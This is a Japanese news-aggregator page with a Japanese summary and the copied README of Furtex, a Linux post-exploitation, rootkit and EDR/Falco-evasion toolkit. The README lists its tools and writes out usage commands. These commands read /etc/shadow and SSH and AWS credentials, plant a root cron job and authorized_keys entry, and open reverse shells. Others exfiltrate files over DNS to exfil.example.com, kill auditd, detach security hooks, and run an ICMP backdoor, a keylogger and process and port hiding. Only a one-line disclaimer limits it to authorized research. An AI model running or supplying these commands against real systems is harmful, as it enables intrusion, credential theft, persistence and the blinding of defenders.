セキュリティ
Furtex: Linux向けポストエクスプロイテーション、ルートキット、回避研究ツールキット
Furtex: Post-exploitation, rootkit and evasion research toolkit for Linux (github.com)
要約
Furtexは、io_uringとeBPFを基盤としたLinux向けのポストエクスプロイテーション、ルートキット、回避研究ツールキットです。生のシステムコールのみを使用し、liburingやフレームワークは排除されています。このツールキットは、ファイル操作、ネットワーク、情報漏洩、EDR回避、Falcoバイパスなど、多岐にわたる機能を提供します。
全文翻訳
Furtex Post-exploitation and evasion research toolkit for Linux, built around io_uring and eBPF. No liburing, no frameworks, raw syscalls throughout. More tools soon. PRs are welcome. Join in Rootkit Researchers https://discord.gg/66N5ZQppU7 For authorized research and red team engagements only. Don't run this on systems you don't own. Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools) Requirements Toolchain tool needed for gcc all userspace binaries clang ebpf/*.bpf.c BPF-side programs make build system Headers and libraries package needed for linux-headers-$(uname -r) <linux/bpf.h>, <linux/io_uring.h> and related kernel headers libbpf-dev <bpf/bpf_helpers.h> and friends used in ebpf/ programs bpftool generate vmlinux.h via make vmlinux inside ebpf/ On Debian/Kali/Ubuntu: sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool Kernel versions minimum what it unlocks 5.4 io_uring base (IORING_FEAT_SINGLE_MMAP, BPF map iteration) 5.6 IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal) 5.8 CAP_BPF + CAP_PERFMON split (replaces CAP_SYS_ADMIN for BPF) 5.9 BPF_LINK_DETACH (bpf_link_detach) 5.19 IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass) Capabilities capability tools that require it CAP_BPF (or CAP_SYS_ADMIN pre-5.8) all bpf/ tools, ebpf/ loaders CAP_PERFMON ebpf/ tracepoint and kprobe programs CAP_NET_RAW icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger CAP_NET_ADMIN xdp_socket_send, netfilter_flush CAP_AUDIT_CONTROL audit_kill BTF must be enabled in the kernel (CONFIG_DEBUG_INFO_BTF=y) to run make vmlinux for ebpf/ programs. On distros with older libc-dev headers (Ubuntu 22.04 etc.) you may need #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Already handled in this repo. Build command builds make all everything make uring io_uring/ only make bpf bpf/ userspace tools make ebpf BPF-side programs (needs clang + libbpf) make edrs all edrs/ binaries make techniques Falco bypass tools make clean remove all binaries edrs/ has its own sub-Makefile with ~75 binaries split by privilege: cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed See PRIVILEGES.md for the full breakdown. io_uring bypass coverage io_uring SQEs go through the kernel workqueue. io_uring_enter(2) never calls through sys_call_table, never fires sys_enter_* tracepoints, and never hits livepatch on native_sys_call. That alone kills a large class of EDR hooks without touching anything. What io_uring bypasses on its own: hook point note sys_call_table pointer replacement io_uring never goes through the syscall table livepatch on native_sys_call / compat_sys_call same reason sys_enter_* tracepoints workqueue path, no tracepoint fires What io_uring does NOT bypass on its own (needs an active tool): hook point tool what the tool does kprobes on vfs_read, security_file_open, etc. ftrace_enum removes the kprobe hooks BPF LSM / KRSI bpf_link_detach detaches the BPF link Linux audit audit_kill disables auditd via NETLINK_AUDIT LD_PRELOAD / PLT-GOT patches plt_unhook removes the userland hooks netfilter OUTPUT / conntrack af_packet_shell uses AF_PACKET at layer 2, skips netfilter inet_stream_connect hooks udp_shell uses UDP, never calls tcp connect path io_uring/ iouring_utils.h handles ring setup without liburing. binary what it does file_read OPENAT+READ+CLOSE chain via io_uring, no sys_enter_read event file_write OPENAT+WRITE+CLOSE chain file_append same as file_write but O_APPEND, offset -1 net_connect SOCKET+CONNECT+SEND+RECV in one ring net_reverse_shell reverse shell over io_uring CONNECT multifile_read up to 64 files in one SQE batch memfd_exec stream ELF via stdin into memfd, execve via /proc/self/fd proc_inject JIT injection via /proc/PID/mem; ptrace injection (--ptrace flag) pipe_splice SPLICE kernel-to-kernel, userspace hooks never see bytes inotify_bypass_watch io_uring READ does not raise IN_ACCESS/IN_OPEN dns_exfil hex-encode data as DNS query labels over io_uring SENDMSG af_packet_send raw Ethernet via AF_PACKET (IORING_OP_SOCKET, bypasses inet path) xdp_socket_send raw frame via AF_XDP + UMEM ring, bypasses netfilter entirely ./io_uring/file_read /etc/shadow ./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh" ./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..." ./io_uring/net_connect 10.0.0.1 4444 "ping" ./io_uring/net_reverse_shell 192.168.1.1 4444 ./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials cat payload | ./io_uring/memfd_exec [args...] ./io_uring/proc_inject JIT injection via /proc/PID/mem; ptrace injection (--ptrace flag) ./io_uring/pipe_splice /etc/shadow /tmp/out ./io_uring/inotify_bypass_watch /var/log/auth.log ./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow sudo ./io_uring/proc_inject sudo ./io_uring/proc_inject <pid> sudo ./io_uring/proc_inject <pid> <shellcode_hex> sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex> sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload" sudo ./io_uring/xdp_socket_send eth0 <hex-frame> bpf/ Most tools require CAP_BPF. env_exfil works unprivileged. icmp_trigger requires CAP_NET_RAW instead of CAP_BPF. binary what it does map_recon list all loaded BPF maps map_dumper dump map contents by ID map_write update map entries by ID map_poison zero Falco's interesting_sys entries around a payload prog_recon list BPF programs: type, name, map count pid_allowlist insert PID into an EDR allowlist map edr_fin score loaded BPF maps/programs against known EDR heuristics lsm_check detect active BPF LSM hooks and test if map writes are blocked bpf_persist pin/retrieve/unpin maps and programs on bpffs map_snapshot save and restore map contents to a binary file env_exfil read /proc/*/environ for secrets bpf_link_detach enumerate and detach BPF links (removes LSM hooks) link_update redirect a BPF link to a no-op program (hook stays visible, fires nothing) map_freeze freeze a BPF map read-only via BPF_MAP_FREEZE (writes return -EPERM) icmp_trigger ICMP magic-packet backdoor; spawns reverse shell via socketpair relay; masquerades as kworker/u4:2 sudo ./bpf/map_recon sudo ./bpf/map_dumper 42 --ascii sudo ./bpf/map_write <map_id> <key_hex> <val_hex> sudo ./bpf/prog_recon --maps --lsm-only sudo ./bpf/edr_fin sudo ./bpf/lsm_check <map_id> sudo ./bpf/pid_allowlist <map_id> [pid] sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map sudo ./bpf/bpf_persist list /sys/fs/bpf sudo ./bpf/map_snapshot save <prog_id> snap.bin sudo ./bpf/map_snapshot restore snap.bin ./bpf/env_exfil --filter AWS sudo ./bpf/bpf_link_detach list --lsm-only sudo ./bpf/bpf_link_detach detach-lsm --dry-run sudo ./bpf/link_update <link_id> sudo ./bpf/map_freeze <map_id> sudo ./bpf/map_freeze --prog <name_substr> sudo ./bpf/icmp_trigger --daemon sudo ./bpf/icmp_trigger --send <target> <c2_ip> <c2_port> sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444 ebpf/ Requires clang + libbpf + vmlinux.h. Run make vmlinux inside ebpf/ to generate from the running kernel's BTF. file what it does exec.bpf.c tracepoint on sys_enter_execve fentry_open.bpf.c tracepoint on sys_enter_openat creds.bpf.c track openat+read on credential paths keylog.bpf.c input event tracepoint, raw keycode capture net.bpf.c sys_enter_connect logging net_hide.bpf.c hide ports from /proc/net/tcp and /proc/net/udp proc_hide.bpf.c hide PIDs from getdents64 output tty_sniff.bpf.c capture stdin/stdout/stderr writes and reads skf_c2_runner.c ICMP C2 via classic BPF socket filter xdp_backdoor.bpf.c + xdp_handler.c XDP trigger on magic UDP packet sudo ./bpf/map_write <hidden_ports_id> 5c11 01 sudo ./bpf/map_write <hidden_pids_id>